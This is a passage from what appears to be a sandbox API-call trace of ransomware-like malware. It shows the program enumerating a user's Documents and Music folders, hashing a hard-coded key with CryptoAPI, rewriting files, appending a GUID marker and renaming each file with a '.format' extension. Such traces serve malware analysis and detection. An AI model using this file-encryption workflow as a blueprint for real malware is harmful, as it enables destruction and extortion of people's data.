HALPmcxz\\Documents\\yiub\\ZHL2s_-N8agn\\vKwwSOkmDf1R\\g6CVw2EHUNZkVnHB.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yiub\\zhl2s_-n8agn\\vkwwsokmdf1r\\g6cvw2ehunzkvnhb.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0068.913] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=81167) returned 1 [0068.913] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0068.915] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x13ce9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.915] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0068.916] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x13d0f, lpOverlapped=0x0) returned 1 [0068.917] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.917] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.917] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.917] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6abf08) returned 1 [0068.917] CryptCreateHash (in: hProv=0x6abf08, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0068.917] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0068.918] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0068.918] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0068.918] GetLastError () returned 0x0 [0068.918] CryptDestroyHash (hHash=0x31befa0) returned 1 [0068.918] CryptReleaseContext (hProv=0x6abf08, dwFlags=0x0) returned 1 [0068.918] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x13d0f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.918] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0068.918] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0068.919] CloseHandle (hObject=0x5c8) returned 1 [0068.920] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\ZHL2s_-N8agn\\vKwwSOkmDf1R\\g6CVw2EHUNZkVnHB.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yiub\\zhl2s_-n8agn\\vkwwsokmdf1r\\g6cvw2ehunzkvnhb.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\ZHL2s_-N8agn\\vKwwSOkmDf1R\\g6CVw2EHUNZkVnHB.docx.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yiub\\zhl2s_-n8agn\\vkwwsokmdf1r\\g6cvw2ehunzkvnhb.docx.format")) returned 1 [0068.921] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e24bee0, ftCreationTime.dwHighDateTime=0x1d4cd69, ftLastAccessTime.dwLowDateTime=0xb18893a0, ftLastAccessTime.dwHighDateTime=0x1d4cba4, ftLastWriteTime.dwLowDateTime=0xb18893a0, ftLastWriteTime.dwHighDateTime=0x1d4cba4, nFileSizeHigh=0x0, nFileSizeLow=0x899a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="qUE__ZQn.csv", cAlternateFileName="")) returned 1 [0068.921] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\ZHL2s_-N8agn\\vKwwSOkmDf1R\\qUE__ZQn.csv") returned=".csv" [0068.921] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\ZHL2s_-N8agn\\vKwwSOkmDf1R\\qUE__ZQn.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yiub\\zhl2s_-n8agn\\vkwwsokmdf1r\\que__zqn.csv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0068.921] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=35226) returned 1 [0068.922] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0068.924] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x8974, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.924] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0068.925] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x899a, lpOverlapped=0x0) returned 1 [0068.925] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.925] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.925] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.925] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6abf08) returned 1 [0068.926] CryptCreateHash (in: hProv=0x6abf08, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0068.926] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0068.926] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0068.926] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0068.926] GetLastError () returned 0x0 [0068.926] CryptDestroyHash (hHash=0x31befa0) returned 1 [0068.926] CryptReleaseContext (hProv=0x6abf08, dwFlags=0x0) returned 1 [0068.926] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x899a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.927] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0068.927] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0068.927] CloseHandle (hObject=0x5c8) returned 1 [0068.928] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\ZHL2s_-N8agn\\vKwwSOkmDf1R\\qUE__ZQn.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yiub\\zhl2s_-n8agn\\vkwwsokmdf1r\\que__zqn.csv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\ZHL2s_-N8agn\\vKwwSOkmDf1R\\qUE__ZQn.csv.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yiub\\zhl2s_-n8agn\\vkwwsokmdf1r\\que__zqn.csv.format")) returned 1 [0068.929] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x547ffcc0, ftCreationTime.dwHighDateTime=0x1d4cc9e, ftLastAccessTime.dwLowDateTime=0xd7ef2d0, ftLastAccessTime.dwHighDateTime=0x1d4ccfe, ftLastWriteTime.dwLowDateTime=0xd7ef2d0, ftLastWriteTime.dwHighDateTime=0x1d4ccfe, nFileSizeHigh=0x0, nFileSizeLow=0x1671, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tJu9GFmu.doc", cAlternateFileName="")) returned 1 [0068.929] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\ZHL2s_-N8agn\\vKwwSOkmDf1R\\tJu9GFmu.doc") returned=".doc" [0068.929] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\ZHL2s_-N8agn\\vKwwSOkmDf1R\\tJu9GFmu.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yiub\\zhl2s_-n8agn\\vkwwsokmdf1r\\tju9gfmu.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0068.929] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=5745) returned 1 [0068.929] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0068.932] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x164b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.932] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0068.932] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x1671, lpOverlapped=0x0) returned 1 [0068.933] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.933] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.933] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.933] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6abf08) returned 1 [0068.933] CryptCreateHash (in: hProv=0x6abf08, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0068.933] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0068.933] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0068.934] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0068.934] GetLastError () returned 0x0 [0068.934] CryptDestroyHash (hHash=0x31befa0) returned 1 [0068.934] CryptReleaseContext (hProv=0x6abf08, dwFlags=0x0) returned 1 [0068.934] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x1671, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.934] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0068.934] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0068.934] CloseHandle (hObject=0x5c8) returned 1 [0068.935] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\ZHL2s_-N8agn\\vKwwSOkmDf1R\\tJu9GFmu.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yiub\\zhl2s_-n8agn\\vkwwsokmdf1r\\tju9gfmu.doc"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\ZHL2s_-N8agn\\vKwwSOkmDf1R\\tJu9GFmu.doc.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yiub\\zhl2s_-n8agn\\vkwwsokmdf1r\\tju9gfmu.doc.format")) returned 1 [0068.936] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2024d970, ftCreationTime.dwHighDateTime=0x1d4cbfc, ftLastAccessTime.dwLowDateTime=0x8bd40e30, ftLastAccessTime.dwHighDateTime=0x1d4cd13, ftLastWriteTime.dwLowDateTime=0x8bd40e30, ftLastWriteTime.dwHighDateTime=0x1d4cd13, nFileSizeHigh=0x0, nFileSizeLow=0x6315, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="YdDnZ8.csv", cAlternateFileName="")) returned 1 [0068.936] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\ZHL2s_-N8agn\\vKwwSOkmDf1R\\YdDnZ8.csv") returned=".csv" [0068.936] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\ZHL2s_-N8agn\\vKwwSOkmDf1R\\YdDnZ8.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yiub\\zhl2s_-n8agn\\vkwwsokmdf1r\\yddnz8.csv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0068.936] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=25365) returned 1 [0068.936] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0068.939] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x62ef, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.939] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0068.940] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x6315, lpOverlapped=0x0) returned 1 [0068.940] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.940] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.940] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.940] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6abf08) returned 1 [0068.941] CryptCreateHash (in: hProv=0x6abf08, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0068.941] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0068.941] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0068.941] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0068.941] GetLastError () returned 0x0 [0068.941] CryptDestroyHash (hHash=0x31befa0) returned 1 [0068.941] CryptReleaseContext (hProv=0x6abf08, dwFlags=0x0) returned 1 [0068.941] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x6315, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.941] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0068.941] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0068.941] CloseHandle (hObject=0x5c8) returned 1 [0068.942] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\ZHL2s_-N8agn\\vKwwSOkmDf1R\\YdDnZ8.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yiub\\zhl2s_-n8agn\\vkwwsokmdf1r\\yddnz8.csv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\ZHL2s_-N8agn\\vKwwSOkmDf1R\\YdDnZ8.csv.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yiub\\zhl2s_-n8agn\\vkwwsokmdf1r\\yddnz8.csv.format")) returned 1 [0068.944] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2024d970, ftCreationTime.dwHighDateTime=0x1d4cbfc, ftLastAccessTime.dwLowDateTime=0x8bd40e30, ftLastAccessTime.dwHighDateTime=0x1d4cd13, ftLastWriteTime.dwLowDateTime=0x8bd40e30, ftLastWriteTime.dwHighDateTime=0x1d4cd13, nFileSizeHigh=0x0, nFileSizeLow=0x6315, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="YdDnZ8.csv", cAlternateFileName="")) returned 0 [0068.944] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0068.944] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0068.944] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0068.944] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\3m1P\\VaIh-oYg6BJgtgDU7\\") returned="VaIh-oYg6BJgtgDU7\\" [0068.944] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\3m1P\\") returned="3m1P\\" [0068.944] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\") returned="c8v-4o\\" [0068.944] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\") returned="Music\\" [0068.944] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0068.944] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0068.944] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eb88 | out: hHeap=0x5d0000) returned 1 [0068.944] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0068.944] PathFindFileNameW (pszPath="") returned="" [0068.944] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2e50 [0068.944] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\3m1P\\VaIh-oYg6BJgtgDU7\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7631b0a0, ftCreationTime.dwHighDateTime=0x1d4d58d, ftLastAccessTime.dwLowDateTime=0xf4ded0d0, ftLastAccessTime.dwHighDateTime=0x1d4d412, ftLastWriteTime.dwLowDateTime=0xf4ded0d0, ftLastWriteTime.dwHighDateTime=0x1d4d412, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0068.945] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2e50 | out: hHeap=0x5d0000) returned 1 [0068.945] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7631b0a0, ftCreationTime.dwHighDateTime=0x1d4d58d, ftLastAccessTime.dwLowDateTime=0xf4ded0d0, ftLastAccessTime.dwHighDateTime=0x1d4d412, ftLastWriteTime.dwLowDateTime=0xf4ded0d0, ftLastWriteTime.dwHighDateTime=0x1d4d412, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.945] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98d951f0, ftCreationTime.dwHighDateTime=0x1d4ccd0, ftLastAccessTime.dwLowDateTime=0xd9c2bb0, ftLastAccessTime.dwHighDateTime=0x1d4c804, ftLastWriteTime.dwLowDateTime=0xd9c2bb0, ftLastWriteTime.dwHighDateTime=0x1d4c804, nFileSizeHigh=0x0, nFileSizeLow=0x10eb7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="oN6ToGM.wav", cAlternateFileName="")) returned 1 [0068.945] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2e50 [0068.945] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd6) returned 0x31021f8 [0068.945] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2e50 | out: hHeap=0x5d0000) returned 1 [0068.945] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\3m1P\\VaIh-oYg6BJgtgDU7\\oN6ToGM.wav") returned=".wav" [0068.945] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\3m1P\\VaIh-oYg6BJgtgDU7\\oN6ToGM.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\c8v-4o\\3m1p\\vaih-oyg6bjgtgdu7\\on6togm.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0068.945] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=69303) returned 1 [0068.945] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0068.947] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x10e91, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.947] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0068.948] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183190 [0068.948] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0068.948] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.948] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x10eb7, lpOverlapped=0x0) returned 1 [0068.949] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.949] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0068.949] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.949] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.949] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6abf08) returned 1 [0068.950] CryptCreateHash (in: hProv=0x6abf08, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0068.950] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0068.950] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0068.950] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0068.950] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0068.950] GetLastError () returned 0x0 [0068.950] CryptDestroyHash (hHash=0x31befa0) returned 1 [0068.950] CryptReleaseContext (hProv=0x6abf08, dwFlags=0x0) returned 1 [0068.950] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0068.950] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10ec0) returned 0x32b2f40 [0068.950] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0068.950] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0068.950] WriteFile (in: hFile=0x5c8, lpBuffer=0x32b2f40*, nNumberOfBytesToWrite=0x10eb2, lpNumberOfBytesWritten=0x38cfb24, lpOverlapped=0x0 | out: lpBuffer=0x32b2f40*, lpNumberOfBytesWritten=0x38cfb24*=0x10eb2, lpOverlapped=0x0) returned 1 [0068.951] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32b2f40 | out: hHeap=0x5d0000) returned 1 [0068.951] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x10eb7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.951] RtlAllocateHeap (HeapHandle=0x5d0000, 